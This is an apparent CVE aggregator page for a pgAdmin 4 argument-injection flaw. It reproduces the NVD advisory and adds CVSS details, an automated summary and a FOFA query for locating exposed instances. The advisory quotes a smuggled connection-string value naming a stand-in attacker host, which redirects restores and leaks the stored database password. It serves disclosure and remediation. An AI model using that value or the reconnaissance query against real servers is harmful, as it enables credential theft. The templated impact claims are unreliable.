CVE Professor
›
Back
CVE-2026-86862

CVE-2026-86862 — Pgadmin Pgadmin 4 (tüm Sürümler) — CWE-88 · CWE-522

MEDIUM CVSS 6.5 NVD

CVE-2026-86862 is a MEDIUM severity security vulnerability (CWE-88, CWE-522) (CVSS 6.5/10) affecting Pgadmin Pgadmin 4 (tüm Sürümler). Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), allowing unauthorized disclosure of sensitive data (C:H).

📄 Official NVD / MITRE Original Record Text

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

Published 17.09.2026
ISO Date 2026-09-17
CVSS Version v3.1
Source NVD
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity None I:N
Availability None A:N
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-86862
CVSS 6.5/10 · MEDIUM · 17.09.2026
CWE: CWE-88, CWE-522
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
Summary: pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=atta…
Affected: pgadmin:pgadmin_4

⚡ ATTACK CHAIN
Remotely over internet | low-privilege account | no user interaction | low complexity.

🌍 REAL WORLD IMPACT
All confidential data readable/stealable.

🛡️ REMEDIATION
→ Apply vendor security update for pgadmin:pgadmin_4.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
📋 Routine update cycle (30 days)

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="pgadmin pgadmin_4"
CVSS Score
6.5 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-88 CWE-522 CWE-918
Affected Products (1)
pgadmin:pgadmin_4 (tüm sürümler)
References & Advisories (1)
github.com patch exploit advisory
Related CVEs
10.0
CVE-2026-71499
cf-manager is an all-in-one dashboard for managing multiple Cloudflare accounts and services. Prior to 1.1.2,
9.9
CVE-2026-132232
In JetBrains TeamCity before 2026.1.3, 2025.11.7 remote code execution was possible via argument injection in
9.9
CVE-2026-132234
In JetBrains TeamCity before 2026.1.3, 2025.11.7 remote code execution was possible via argument injection in
9.8
CVE-2026-63189
Dialoqbase is an application for creating chatbots. Prior to 1.11.5, the unauthenticated GET /api/v1/view/* ro
8.8
CVE-2026-82952
Latvijas Valsts radio un televīzijas centrs (LVRTC) eParakstītājs 3.0 version 1.10.0-resolute for Linux all
8.7
CVE-2026-107518
Dell PowerStore contains a Server-Side Request Forgery (SSRF) vulnerability. An authenticated user with limite